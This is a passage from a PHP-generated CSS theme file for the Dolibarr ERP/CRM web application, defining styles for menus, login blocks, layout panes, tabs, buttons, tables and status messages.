div.mainmenu.ecm {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/ecm.png',1); ?>);
}
div.mainmenu.gravatar {
}
div.mainmenu.geopipmaxmind {
}
div.mainmenu.home{
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/home.png',1); ?>);
}
div.mainmenu.hrm {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/holiday.png',1) ?>);
}
div.mainmenu.members {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/members.png',1); ?>);
}
div.mainmenu.products {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/products.png',1); ?>);
margin-left: 10px;
}
div.mainmenu.project {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/project.png',1); ?>);
}
div.mainmenu.tools {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/tools.png',1); ?>);
}
div.mainmenu.shop {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/shop.png',1); ?>);
}
div.mainmenu.google {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/menus/globe.png',1); ?>);
}
<?php
// Add here more div for other menu entries. moduletomainmenu=array('module name'=>'name of class for div')
$moduletomainmenu=array('user'=>'','syslog'=>'','societe'=>'companies','projet'=>'project','propale'=>'commercial','commande'=>'commercial',
'produit'=>'products','service'=>'products','stock'=>'products',
'don'=>'accountancy','tax'=>'accountancy','banque'=>'accountancy','facture'=>'accountancy','compta'=>'accountancy','accounting'=>'accountancy','adherent'=>'members','import'=>'tools','export'=>'tools','mailing'=>'tools',
'contrat'=>'commercial','ficheinter'=>'commercial','deplacement'=>'commercial',
'fournisseur'=>'companies',
'barcode'=>'','fckeditor'=>'','categorie'=>'',
);
$mainmenuused='home';
foreach($conf->modules as $val)
{
$mainmenuused.=','.(isset($moduletomainmenu[$val])?$moduletomainmenu[$val]:$val);
}
//var_dump($mainmenuused);
$mainmenuusedarray=array_unique(explode(',',$mainmenuused));
$generic=1;
$divalreadydefined=array('home','companies','products','commercial','accountancy','project','tools','members','shop','agenda','ecm','bookmark','cashdesk','geoipmaxmind','gravatar','clicktodial','paypal','webservices');
foreach($mainmenuusedarray as $val)
{
if (empty($val) || in_array($val,$divalreadydefined)) continue;
//print "XXX".$val;
// Search img file in module dir
$url='';
foreach($conf->file->dol_document_root as $dirroot)
{
if (file_exists($dirroot."/".$val."/img/".$val.".png"))
{
$url=dol_buildpath('/'.$val.'/img/'.$val.'.png', 1);
break;
}
}
// Img file not found
if (! $url && $generic <= 4)
{
$url=dol_buildpath($path.'/theme/'.$theme.'/img/menus/generic'.$generic.'.png',1);
$generic++;
}
if ($url)
{
print "/* A mainmenu entry but img file ".$val.".png not found, so we use a generic one */\n";
print "div.mainmenu.".$val." {\n";
print " background-image: url(".$url.");\n";
print " height:28px;\n";
print "}\n";
}
}
// End of part to add more div class css
?>
<?php
} // End test if not phone
?>
.tmenuimage {
padding:0 0 0 0 !important;
margin:0 0px 0 0 !important;
}
/* Login */
form#login {
margin-top: <?php echo $dol_optimize_smallscreen?'30':'60' ?>px;
margin-bottom: 30px;
font-size: 13px;
}
.login_table_title {
max-width: 540px;
color: #888888;
text-shadow: 1px 1px 1px #FFF;
}
.login_table label {
text-shadow: 1px 1px 1px #FFF;
}
.login_table {
margin-left: 10px;
margin-right: 10px;
padding:12px;
max-width: 540px;
border: 1px solid #C0C0C0;
background-color: #E0E0E0;
-moz-box-shadow: 4px 4px 4px #CCC;
-webkit-box-shadow: 4px 4px 4px #CCC;
box-shadow: 4px 4px 4px #CCC;
border-radius: 12px;
border:solid 1px rgba(168,168,168,.4);
border-top:solid 1px f8f8f8;
background-color: #f8f8f8;
background-image: -o-linear-gradient(top, rgba(240,240,240,.3) 0%, rgba(192,192,192,.3) 100%);
background-image: -moz-linear-gradient(top, rgba(240,240,240,.3) 0%, rgba(192,192,192,.3) 100%);
background-image: -webkit-linear-gradient(top, rgba(240,240,240,.3) 0%, rgba(192,192,192,.3) 100%);
background-image: -ms-linear-gradient(top, rgba(240,240,240,.3) 0%, rgba(192,192,192,.3) 100%);
background-image: linear-gradient(top, rgba(240,240,240,.3) 0%, rgba(192,192,192,.3) 100%);
}
#img_securitycode {
border: 1px solid #DDDDDD;
}
#img_logo {
max-width: 200px;
}
div.login_block {
width: 180px;
position: absolute;
<?php print $right; ?>: 5px;
top: 3px;
font-weight: bold;
<?php if (GETPOST("optioncss") == 'print') { ?>
display: none;
<?php } ?>
}
div.login_block table {
display: inline;
}
div#login_left, div#login_right {
display: inline-block;
min-width: 220px;
text-align: center;
vertical-align: middle;
}
div.login {
white-space:nowrap;
padding: <?php echo ($conf->dol_optimize_smallscreen?'0':'8')?>px 0px 0px 0px;
margin: 0px 0px 0px 8px;
font-weight: bold;
}
div.login a {
color: #234046;
}
div.login a:hover {
color: black;
text-decoration:underline;
}
.login_block_user {
float: right;
}
.login_block_elem {
float: right;
vertical-align: top;
padding: 8px 0px 0px 4px !important;
}
.alogin, .alogin:hover {
color: #888 !important;
font-weight: normal !important;
font-size: <?php echo $fontsizesmaller; ?>px !important;
}
.alogin:hover {
text-decoration:underline !important;
}
img.login, img.printer, img.entity {
padding: 0px 0px 0px 0px;
margin: 0px 0px 0px 4px;
text-decoration: none;
color: white;
font-weight: bold;
}
/* ============================================================================== */
/* Menu gauche */
/* ============================================================================== */
div.vmenu, td.vmenu {
margin-<?php print $right; ?>: 2px;
padding: 0px;
padding-bottom: 0px;
padding-top: 1px;
width: 200px;
}
<?php if (GETPOST("optioncss") == 'print') { ?>
.vmenu {
display: none;
}
<?php } ?>
a.vmenu:link { font-size:12px; text-align:left; font-weight: normal; color: #FFFFFF; margin: 1px 1px 1px 4px; }
a.vmenu:visited { font-size:12px; text-align:left; font-weight: normal; color: #FFFFFF; margin: 1px 1px 1px 4px; }
a.vmenu:active { font-size:12px; text-align:left; font-weight: normal; color: #FFFFFF; margin: 1px 1px 1px 4px; }
a.vmenu:hover { font-size:12px; text-align:left; font-weight: normal; color: #FEF4AE; margin: 1px 1px 1px 4px; }
font.vmenudisabled { font-size:12px; text-align:left; font-weight: normal; color: #FFFFFF; margin: 1px 1px 1px 4px; }
a.vsmenu:link { font-size:11px; text-align:left; font-weight: normal; color: #202020; margin: 1px 1px 1px 4px; }
a.vsmenu:visited { font-size:11px; text-align:left; font-weight: normal; color: #202020; margin: 1px 1px 1px 4px; }
a.vsmenu:active { font-size:11px; text-align:left; font-weight: normal; color: RGB(94,148,181); margin: 1px 1px 1px 4px; }
a.vsmenu:hover { font-size:11px; text-align:left; font-weight: normal; color: #7F0A29; margin: 1px 1px 1px 4px; }
font.vsmenudisabled { font-size:11px; text-align:left; font-weight: normal; color: #202020; }
font.vsmenudisabledmargin { margin: 1px 1px 1px 4px; }
a.help:link { font-size: 10px; font-weight: bold; background: #FFFFFF; color: #AAACAF; padding: 0em 0.7em; margin: 0em 0.5em; text-decoration: none; white-space: nowrap; }
a.help:visited { font-size: 10px; font-weight: bold; background: #FFFFFF; color: #AAACAF; padding: 0em 0.7em; margin: 0em 0.5em; text-decoration: none; white-space: nowrap; }
a.help:active { font-size: 10px; font-weight: bold; background: #FFFFFF; color: #9998A0; padding: 0em 0.7em; margin: 0em 0.5em; text-decoration: none; white-space: nowrap; }
a.help:hover { font-size: 10px; font-weight: bold; background: #FFFFFF; color: #9998A0; padding: 0em 0.7em; margin: 0em 0.5em; text-decoration: none; white-space: nowrap; }
div.blockvmenupair
{
margin-bottom: 15px;
border-spacing: 0px;
padding: 0px;
width: 100%;
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/bg_leftCategorie2.jpg',1); ?>);
background-position: top right;
background-repeat: no-repeat;
}
div.blockvmenuimpair
{
margin-bottom: 15px;
border-spacing: 0px;
padding: 0px;
width: 100%;
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/bg_leftCategorie2.jpg',1); ?>);
background-position: top right;
background-repeat: no-repeat;
}
img.logocompany
{
margin-top: 22px;
border-spacing: 0px;
padding: 0px;
}
div.blockvmenuimpair form a.vmenu, div.blockvmenupair form a.vmenu
{
width: 166px;
border-spacing: 0px;
color: #000000;
text-align:left;
text-decoration: none;
padding: 4px;
margin: 0px;
background: #FFFFFF;
margin-bottom: -12px;
}
div.menu_titre
{
padding: 0px;
padding-left:0px;
margin-top: 8px;
margin: 0px;
height: 16px;
text-align: left;
font-size : 12px;
color : #FFFFFF;
font-weight: bold;
height: 20px;
line-height: 20px;
}
div.menu_titre a.vmenu {
font-weight: bold;
font-family: <?php print $fontlist ?>;
font-size: 12px;
}
div.blockvmenusearch
{
margin: 3px 0px 15px 0px;
padding: 25px 0px 2px 2px;
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/bg_leftMenu.jpg',1); ?>);
background-position: top right;
background-repeat: no-repeat;
}
div.blockvmenusearch input[type="text"] {
float: left;
width: 130px;
border: 1px solid #333;
font-size: 10px;
height: 16px;
}
div.blockvmenusearch input.button[type="submit"] {
float: left;
margin-left: 10px;
}
div.blockvmenusearch div.menu_titre {
margin-top: 5px;
}
#blockvmenusearch div.menu_titre, #blockvmenusearch form
{
padding-top: 1px;
padding-bottom: 1px;
height: 20px;
}
div.blockvmenubookmarks
{
margin: 0px;
border-spacing: 0px;
padding: 0px;
width: 100%;
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/bg_leftCategorie.jpg',1); ?>);
background-position: top left;
background-repeat: no-repeat;
margin-bottom: 15px;
}
div.blockvmenuhelp
{
<?php if (empty($conf->dol_optimize_smallscreen)) { ?>
text-align: center;
border-spacing: 0px;
width: 162px;
background: transparent;
font-family: <?php print $fontlist ?>;
color: #000000;
text-decoration: none;
padding-left: 0px;
padding-right: 1px;
padding-top: 3px;
padding-bottom: 3px;
margin: 1px 0px 0px 0px;
<?php } else { ?>
display: none;
<?php } ?>
}
div.menu_contenu {
margin: 0px;
padding: 1px;
padding-right: 8px;
font-size : 11px;
font-weight:normal;
color : #000000;
text-align: left;
}
div.menu_end {
/* border-top: 1px solid #436981; */
margin: 0px;
padding: 0px;
height: 6px;
width: 165px;
background-repeat:no-repeat;
display: none;
}
td.barre {
border-right: 1px solid #000000;
border-bottom: 1px solid #000000;
background: #b3c5cc;
font-family: <?php print $fontlist ?>;
color: #000000;
text-align: <?php print $left; ?>;
text-decoration: none;
}
td.barre_select {
background: #b3c5cc;
color: #000000;
}
td.photo {
background: #F4F4F4;
color: #000000;
border: 1px solid #b3c5cc;
}
/* ============================================================================== */
/* Panes for Main */
/* ============================================================================== */
/*
* PANES and CONTENT-DIVs
*/
#mainContent, #leftContent .ui-layout-pane {
padding: 0px;
overflow: auto;
}
#mainContent, #leftContent .ui-layout-center {
padding: 0px;
position: relative; /* contain floated or positioned elements */
overflow: auto; /* add scrolling to content-div */
}
/* ============================================================================== */
/* Barre de redmiensionnement menu */
/* ============================================================================== */
.ui-layout-resizer-west-open {
/*left: 200px !important;*/
}
.ui-layout-north {
height: 57px !important;
}
/* ============================================================================== */
/* Toolbar for ECM or Filemanager */
/* ============================================================================== */
.toolbar {
background-repeat: repeat-x !important;
border: 1px solid #BBB !important;
}
a.toolbarbutton {
margin-top: 1px;
margin-left: 4px;
margin-right: 4px;
height: 30px;
/* border: solid 1px #AAAAAA;
width: 32px;
background: #FFFFFF;*/
}
img.toolbarbutton {
margin-top: 2px;
height: 28px;
}
/* ============================================================================== */
/* Panes for ECM or Filemanager */
/* ============================================================================== */
#containerlayout .layout-with-no-border {
border: 0 !important;
border-width: 0 !important;
}
#containerlayout .layout-padding {
padding: 2px !important;
}
/*
* PANES and CONTENT-DIVs
*/
#containerlayout .ui-layout-pane { /* all 'panes' */
background: #FFF;
border: 1px solid #BBB;
/* DO NOT add scrolling (or padding) to 'panes' that have a content-div,
otherwise you may get double-scrollbars - on the pane AND on the content-div
*/
padding: 0px;
overflow: auto;
}
/* (scrolling) content-div inside pane allows for fixed header(s) and/or footer(s) */
#containerlayout .ui-layout-content {
padding: 10px;
position: relative; /* contain floated or positioned elements */
overflow: auto; /* add scrolling to content-div */
}
/*
* RESIZER-BARS
*/
.ui-layout-resizer { /* all 'resizer-bars' */
width: 8px !important;
}
.ui-layout-resizer-hover { /* affects both open and closed states */
}
/* NOTE: It looks best when 'hover' and 'dragging' are set to the same color,
otherwise color shifts while dragging when bar can't keep up with mouse */
/*.ui-layout-resizer-open-hover ,*/ /* hover-color to 'resize' */
.ui-layout-resizer-dragging { /* resizer beging 'dragging' */
background: #DDD;
width: 8px;
}
.ui-layout-resizer-dragging { /* CLONED resizer being dragged */
border-left: 1px solid #BBB;
border-right: 1px solid #BBB;
}
/* NOTE: Add a 'dragging-limit' color to provide visual feedback when resizer hits min/max size limits */
.ui-layout-resizer-dragging-limit { /* CLONED resizer at min or max size-limit */
background: #E1A4A4; /* red */
}
.ui-layout-resizer-closed:hover {
background-color: #EEDDDD;
}
.ui-layout-resizer-sliding { /* resizer when pane is 'slid open' */
opacity: .10; /* show only a slight shadow */
filter: alpha(opacity=10);
}
.ui-layout-resizer-sliding-hover { /* sliding resizer - hover */
opacity: 1.00; /* on-hover, show the resizer-bar normally */
filter: alpha(opacity=100);
}
/* sliding resizer - add 'outside-border' to resizer on-hover
* this sample illustrates how to target specific panes and states */
.ui-layout-resizer-north-sliding-hover { border-bottom-width: 1px; }
.ui-layout-resizer-south-sliding-hover { border-top-width: 1px; }
.ui-layout-resizer-west-sliding-hover { border-right-width: 1px; }
.ui-layout-resizer-east-sliding-hover { border-left-width: 1px; }
/*
* TOGGLER-BUTTONS
*/
.ui-layout-toggler {
border-top: 1px solid #AAA; /* match pane-border */
border-right: 1px solid #AAA; /* match pane-border */
border-bottom: 1px solid #AAA; /* match pane-border */
background-color: #DDD;
top: 5px !important;
}
.ui-layout-toggler-open {
height: 48px !important;
width: 5px !important;
-moz-border-radius:0px 10px 10px 0px;
-webkit-border-radius:0px 10px 10px 0px;
border-radius:0px 10px 10px 0px;
}
.ui-layout-toggler-closed {
height: 48px !important;
width: 5px !important;
-moz-border-radius:0px 10px 10px 0px;
-webkit-border-radius:0px 10px 10px 0px;
border-radius:0px 10px 10px 0px;
}
.ui-layout-toggler .content { /* style the text we put INSIDE the togglers */
color: #666;
font-size: 12px;
font-weight: bold;
width: 100%;
padding-bottom: 0.35ex; /* to 'vertically center' text inside text-span */
}
/* hide the toggler-button when the pane is 'slid open' */
.ui-layout-resizer-sliding ui-layout-toggler {
display: none;
}
.ui-layout-north {
height: <?php print (empty($conf->dol_optimize_smallscreen)?'54':'21'); ?>px !important;
}
/* ECM */
#containerlayout .ecm-layout-pane { /* all 'panes' */
background: #FFF;
border: 1px solid #BBB;
/* DO NOT add scrolling (or padding) to 'panes' that have a content-div,
otherwise you may get double-scrollbars - on the pane AND on the content-div
*/
padding: 0px;
overflow: auto;
}
/* (scrolling) content-div inside pane allows for fixed header(s) and/or footer(s) */
#containerlayout .ecm-layout-content {
padding: 10px;
position: relative; /* contain floated or positioned elements */
overflow: auto; /* add scrolling to content-div */
}
.ecm-layout-toggler {
background-color: #DDD;
}
.ecm-layout-toggler-open {
height: 48px !important;
width: 6px !important;
}
.ecm-layout-toggler-closed {
height: 48px !important;
width: 6px !important;
}
.ecm-layout-toggler .content { /* style the text we put INSIDE the togglers */
color: #666;
font-size: 12px;
font-weight: bold;
width: 100%;
padding-bottom: 0.35ex; /* to 'vertically center' text inside text-span */
}
#ecm-layout-west-resizer {
width: 6px !important;
}
.ecm-layout-resizer { /* all 'resizer-bars' */
border: 1px solid #BBB;
border-width: 0;
}
.ecm-in-layout-center {
border-left: 1px !important;
border-right: 0px !important;
border-top: 0px !important;
}
.ecm-in-layout-south {
border-left: 0px !important;
border-right: 0px !important;
border-bottom: 0px !important;
padding: 4px 0 4px 4px !important;
}
/* ============================================================================== */
/* Onglets */
/* ============================================================================== */
div.tabs {
margin: 10px 0px 0px 0px;
text-align: left;
vertical-align: bottom;
width: 100%;
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/bg_tmenu.jpg',1); ?>);
height: 24px;
border-bottom: 2px solid #A51B00;
background-repeat: repeat-x;
background-position: bottom;
}
div.tabs a.tabTitle {
position: relative;
float: left;
height: 18px;
color: #A51B00;
font-family: <?php print $fontlist ?>;
font-weight: bold;
padding: 4px 2px 0px 6px;
margin: 0px 10px 0px 0px;
text-decoration: none;
white-space: nowrap;
}
div.tabs a.tab {
display: block;
width: auto;
font-size: 11px;
font-weight: bold;
font-family: <?php print $fontlist ?>;
height: 18px;
background-position: right;
line-height: 18px;
color: #842F00;
text-decoration: none;
position: relative;
float: left;
padding: 0px 6px 0px 6px;
margin: 5px 2px 0px 2px;
margin-bottom: 2px;
-moz-border-radius-topleft:8px;
-moz-border-radius-topright:8px;
border-top-left-radius:8px;
border-top-right-radius:8px;
border-right: 1px solid #555555;
border-bottom: 0px solid #555555;
border-left: 1px solid #D0D0D0;
border-top: 1px solid #D8D8D8;
background: #fceabb; /* Old browsers */
background: -moz-linear-gradient(top, #fceabb 0%, #fccd4d 50%, #FFA820 87%, #fbdf93 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#fceabb), color-stop(50%,#fccd4d), color-stop(87%,#FFA820), color-stop(100%,#fbdf93)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #fceabb 0%,#fccd4d 50%,#FFA820 87%,#fbdf93 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #fceabb 0%,#fccd4d 50%,#FFA820 87%,#fbdf93 100%); /* Opera11.10+ */
background: -ms-linear-gradient(top, #fceabb 0%,#fccd4d 50%,#FFA820 87%,#fbdf93 100%); /* IE10+ */
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fceabb', endColorstr='#fbdf93',GradientType=0); /* IE6-9 */
background: linear-gradient(top, #fceabb 0%,#fccd4d 50%,#FFA820 87%,#fbdf93 100%); /* W3C */
}
div.tabs a.tab:active, .tabactive {
color: #FFF !important;
padding: 0px 6px 0px 6px;
-moz-border-radius-topleft:8px;
-moz-border-radius-topright:8px;
border-top-left-radius:8px;
border-top-right-radius:8px;
border-right: 1px solid #555555;
border-bottom: 0px solid #555555;
border-left: 1px solid #D0D0D0;
border-top: 1px solid #D8D8D8;
background: #FFA820; /* old browsers */
}
div.tabs a.tab:hover {
color: #FFF;
-moz-border-radius-topleft:8px;
-moz-border-radius-topright:8px;
border-top-left-radius:8px;
border-top-right-radius:8px;
border-right: 1px solid #555555;
border-bottom: 0px solid #555555;
border-left: 1px solid #D0D0D0;
border-top: 1px solid #D8D8D8;
background: #FFA820; /* old browsers */
}
div.tabBar {
color: #234046;
padding-top: 4px;
padding-left: 4px;
padding-right: 4px;
padding-bottom: 4px;
margin: 6px 0px 6px 0px;
-moz-border-radius:8px;
border-radius:8px;
border-right: 1px solid #555555;
border-bottom: 1px solid #555555;
border-left: 1px solid #D0D0D0;
border-top: 1px solid #D8D8D8;
/*background: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/tab_background.png',1); ?>) repeat-x;*/
background: #FEF4AE; /* old browsers */
}
div.tabsAction {
margin: 20px 0em 1px 0em;
padding: 0em 0em;
text-align: right;
}
td.tab {
background: #dee7ec;
}
span.tabspan {
background: #dee7ec;
color: #434956;
font-family: <?php print $fontlist ?>;
padding: 0px 6px;
margin: 0em 0.2em;
text-decoration: none;
white-space: nowrap;
-moz-border-radius-topleft:6px;
-moz-border-radius-topright:6px;
border-top-left-radius:6px;
border-top-right-radius:6px;
border-<?php print $right; ?>: 1px solid #555555;
border-<?php print $left; ?>: 1px solid #D8D8D8;
border-top: 1px solid #D8D8D8;
}
/* ============================================================================== */
/* Boutons actions */
/* ============================================================================== */
div.divButAction { margin-bottom: 1.4em; }
.butAction:link, .butAction:visited, .butAction:hover, .butAction:active, .butActionDelete, .butActionRefused, .butActionDelete:link, .butActionDelete:visited, .butActionDelete:hover, .butActionDelete:active {
font-family: <?php print $fontlist ?>;
font-weight: bold;
/*background: url(<?php echo dol_buildpath($path.'/theme/bureau2crea/img/bg_btnBlue.jpg',1); ?>) repeat-x;*/
background: #A81E00;
-moz-border-radius:8px;
border-radius:8px;
border-right: 1px solid #555555;
border-bottom: 1px solid #555555;
border-left: 1px solid #D0D0D0;
border-top: 1px solid #D8D8D8;
/*border: 2px solid #063953;*/
color: #FFF;
padding: 0px 10px 0px 10px;
margin: 0px 10px 0px 10px;
text-decoration: none;
white-space: nowrap;
font-size: 12px;
height: 18px;
line-height: 18px;
cursor: pointer;
}
.butAction:hover {
background: #FFe7ec;
color: #961400;
}
.butActionDelete {
border: 1px solid red;
}
.butActionDelete:link, .butActionDelete:visited, .butActionDelete:hover, .butActionDelete:active {
border: 2px solid red;
}
.butActionDelete:hover {
background: #FFe7ec;
color: #961400;
}
.butActionRefused {
background: #FFe7ec;
color: #666;
}
<?php if (! empty($conf->global->MAIN_BUTTON_HIDE_UNAUTHORIZED)) { ?>
.butActionRefused {
display: none;
}
<?php } ?>
span.butAction, span.butActionDelete {
cursor: pointer;
}
/* ============================================================================== */
/* Tables */
/* ============================================================================== */
.allwidth {
width: 100%;
}
/*
#undertopmenu {
background-image: url("<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/gradient.gif',1); ?>");
background-repeat: repeat-x;
}
*/
.nocellnopadd {
list-style-type:none;
margin: 0px;
padding: 0px;
}
.notopnoleft {
border-collapse: collapse;
border: 0px;
padding-top: 0px;
padding-<?php print $left; ?>: 0px;
padding-<?php print $right; ?>: 6px;
padding-bottom: 0px;
margin: 0px 0px;
}
.notopnoleftnoright {
border-collapse: collapse;
border: 0px;
padding-top: 0px;
padding-left: 0px;
padding-right: 0px;
padding-bottom: 0px;
margin: 0px 0px 0px 0px;
}
table.border, table.dataTable, .table-border, .table-border-col, .table-key-border-col, .table-val-border-col, div.border {
border: 1px solid #9CACBB;
border-collapse: collapse;
padding: 1px 2px;
}
table.border td, div.border div div.tagtd {
padding: 1px 2px;
border: 1px solid #9CACBB;
border-collapse: collapse;
}
td.border, div.tagtable div div.border {
border-top: 1px solid #000000;
border-right: 1px solid #000000;
border-bottom: 1px solid #000000;
border-left: 1px solid #000000;
}
.table-key-border-col {
width: 25%;
vertical-align:top;
}
.table-val-border-col {
width:auto;
}
/* Main boxes */
table.noborder, div.noborder {
background: #FFF url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/bg_liste_titremenu.jpg',1); ?>);
background-repeat: repeat-x;
background-position: top right;
vertical-align: text-top;
/*border-right: 1px solid #555555;
border-bottom: 1px solid #555555;
border-left: 1px solid #D0D0D0;
border-top: 1px solid #D8D8D8;*/
border : 1px solid #D0D0D0;
-moz-border-radius:10px;
/*-moz-border-radius-topright:8px;*/
border-radius:10px;
border-spacing: 0px 0px;
padding : 0 0px 8px 0px;
/*border-collapse: collapse;*/
}
table.noborder tr, div.noborder form {
}
table.noborder td, div.noborder form div {
}
#graph {
padding: 1px 1px;
}
table.nobordernopadding {
border: 0px;
border-spacing: 0px 0px;
}
table.nobordernopadding tr {
border: 0px;
padding: 0px 0px;
}
table.nobordernopadding td {
border: 0px;
padding: 0px 0px !important;
}
/* For lists */
table.liste {
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/bg_liste_titremenu.jpg',1); ?>);
background-repeat: repeat-x;
background-position: top right;
vertical-align: text-top;
/*border-right: 1px solid #555555;
border-bottom: 1px solid #555555;
border-left: 1px solid #D0D0D0;
border-top: 1px solid #D8D8D8;*/
border : 1px solid #D0D0D0;
-moz-border-radius:10px;
/*-moz-border-radius-topright:8px;*/
border-radius:10px;
border-spacing: 0px 0px;
padding : 0 0px 8px 0px;
/*border-collapse: collapse;*/
}
table.liste td {
padding-right: 2px;
}
.tagtable, .table-border { display: table; }
.tagtr, .table-border-row { display: table-row; }
.tagtd, .table-border-col, .table-key-border-col, .table-val-border-col { display: table-cell; }
tr.liste_titre, tr.liste_titre_sel, form.liste_titre, form.liste_titre_sel
{
height: 20px !important;
}
div.liste_titre, tr.liste_titre, form.liste_titre {
color: #842F00;
font-weight: bold;
font-family: <?php print $fontlist ?>;
/*border-bottom: 1px solid #FDFFFF;*/
border-radius: 8px;
padding-left: 10px;
padding-right: 10px;
white-space: <?php echo $dol_optimize_smallscreen?'normal':'nowrap'; ?>;
text-align: <?php echo $left; ?>;
}
th.liste_titre, td.liste_titre, form.liste_titre div
{
padding-left: 6px;
padding-right: 6px;
white-space: <?php echo $dol_optimize_smallscreen?'normal':'nowrap'; ?>;
vertical-align: middle;
}
th.liste_titre_sel, td.liste_titre_sel, form.liste_titre_sel div
{
background-position: top right;
color: #A51B00;
font-weight: bold;
white-space: <?php echo $dol_optimize_smallscreen?'normal':'nowrap'; ?>;
vertical-align: middle;
}
input.liste_titre {
background: #FFF;
/*background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/bg_centerBlock-title.jpg',1); ?>);
background-repeat: no-repeat;
background-position: top right;*/
border: 0px;
}
tr.liste_total td, form.liste_total div {
border-top: 1px solid #DDDDDD;
background: #F0F0F0;
background-repeat: repeat-x;
color: #332266;
font-weight: normal;
white-space: nowrap;
}
.impair {
/* background: #d0d4d7; */
background: #eaeaea;
font-family: <?php print $fontlist ?>;
border: 0px;
}
.impair:hover {
background: #c0c4c7;
border: 0px;
}
tr.impair td.nohover, form.impair div.nohover {
background: #eaeaea;
}
.pair {
background: #FFFFFF;
font-family: <?php print $fontlist ?>;
border: 0px;
}
.pair:hover {
background: #c0c4c7;
border: 0px;
}
tr.pair td.nohover {
background: #FFFFFF;
}
.pair td, .impair td {
padding: 2px;
}
.noshadow {
-moz-box-shadow: 0px 0px 0px #CCC !important;
-webkit-box-shadow: 0px 0px 0px #CCC !important;
box-shadow: 0px 0px 0px #CCC !important;
}
/*
* Boxes
*/
.boxstats {
<?php print "float: ".$left.";\n"; ?>
margin: 4px;
padding: 4px;
/*-moz-box-shadow: 4px 4px 4px #DDD;
-webkit-box-shadow: 4px 4px 4px #DDD;
box-shadow: 4px 4px 4px #DDD;
margin-bottom: 8px !important;*/
border: 1px solid #AAA;
text-align: center;
border-radius: 5px;
}
.box {
padding-right: 0px;
padding-left: 0px;
padding-bottom: 4px;
}
tr.box_titre {
background-repeat: repeat-x;
color: #842F00;
font-weight: normal;
font-family: <?php print $fontlist ?>;
white-space: nowrap;
-moz-border-radius-topleft:6px;
-moz-border-radius-topright:6px;
border-top-left-radius:6px;
border-top-right-radius:6px;
}
tr.box_titre td.boxclose {
width: 30px;
}
tr.box_impair {
/* background: #e6ebed; */
background: #eaeaea;
font-family: <?php print $fontlist ?>;
}
tr.box_impair:hover {
background: #c0c4c7;
border: 0px;
}
tr.box_impair .nohover {
background: #eaeaea;
}
tr.box_pair {
/* background: #d0d4d7; */
background: #f4f4f4;
font-family: <?php print $fontlist ?>;
}
tr.box_pair:hover {
background: #c0c4c7;
border: 0px;
}
.formboxfilter {
vertical-align: middle;
margin-bottom: 6px;
}
.formboxfilter input[type=image]
{
top: 4px;
position: relative;
}
/*
* Ok, Warning, Error
*/
.ok { color: #114466; }
.warning { color: #887711; }
.error { color: #550000 !important; font-weight: bold; }
div.ok {
color: #114466;
}
div.warning {
color: #997711;
padding: 0.2em 0.2em 0.2em 0.2em;
margin: 0.5em 0em 0.5em 0em;
border: 1px solid #e0e0d0;
-moz-border-radius:6px;
border-radius:6px;
background: #efefd4;
}
div.error {
color: #550000; font-weight: bold;
padding: 0.2em 0.2em 0.2em 0.2em;
margin: 0.5em 0em 0.5em 0em;
border: 1px solid #8C9CAB;
-moz-border-radius:6px;
border-radius:6px;
}
/* Info admin */
div.info {
color: #707070;
padding: 0.2em 0.2em 0.2em 0.2em;
margin: 0.5em 0em 0.5em 0em;
border: 1px solid #e0e0d0;
-moz-border-radius:6px;
border-radius:6px;
background: #efefd4;
}
/*
* Liens Payes/Non payes
*/
a.normal:link { font-weight: normal }
a.normal:visited { font-weight: normal }
a.normal:active { font-weight: normal }
a.normal:hover { font-weight: normal }
a.impayee:link { font-weight: bold; color: #550000; }
a.impayee:visited { font-weight: bold; color: #550000; }
a.impayee:active { font-weight: bold; color: #550000; }
a.impayee:hover { font-weight: bold; color: #550000; }
/*
* Other
*/
.fieldrequired { font-weight: bold; color: #000055; }
.dolgraphtitle { margin-top: 6px; margin-bottom: 4px; }
.dolgraphtitlecssboxes { margin: 0px; }
.photo {
border: 0px;
/* filter:alpha(opacity=55); */
/* opacity:.55; */
}
div.titre {
font-family: <?php print $fontlist ?>;
font-weight: normal;
color: #842F00;
font-size: 20px;
text-decoration: none;
<?php if (empty($dol_use_jmobile)) { ?>
margin-left: 12px;
<?php } ?>
}
#dolpaymenttable { width: 600px; font-size: 13px; }
#tablepublicpayment { border: 1px solid #CCCCCC !important; width: 100%; }
#tablepublicpayment .CTableRow1 { background-color: #F0F0F0 !important; }
#tablepublicpayment tr.liste_total { border-bottom: 1px solid #CCCCCC !important; }
#tablepublicpayment tr.liste_total td { border-top: none; }
/* ============================================================================== */
/* Formulaire confirmation (When Ajax JQuery is used) */
/* ============================================================================== */
.ui-dialog-titlebar {
}
.ui-dialog-content {
font-size: <?php print $fontsize; ?>px !important;
}
/* ============================================================================== */
/* Formulaire confirmation (When HTML is used) */
/* ============================================================================== */
table.valid {
border-top: solid 1px #E6E6E6;
border-<?php print $left; ?>: solid 1px #E6E6E6;
border-<?php print $right; ?>: solid 1px #444444;
border-bottom: solid 1px #555555;
padding-top: 0px;
padding-left: 0px;
padding-right: 0px;
padding-bottom: 0px;
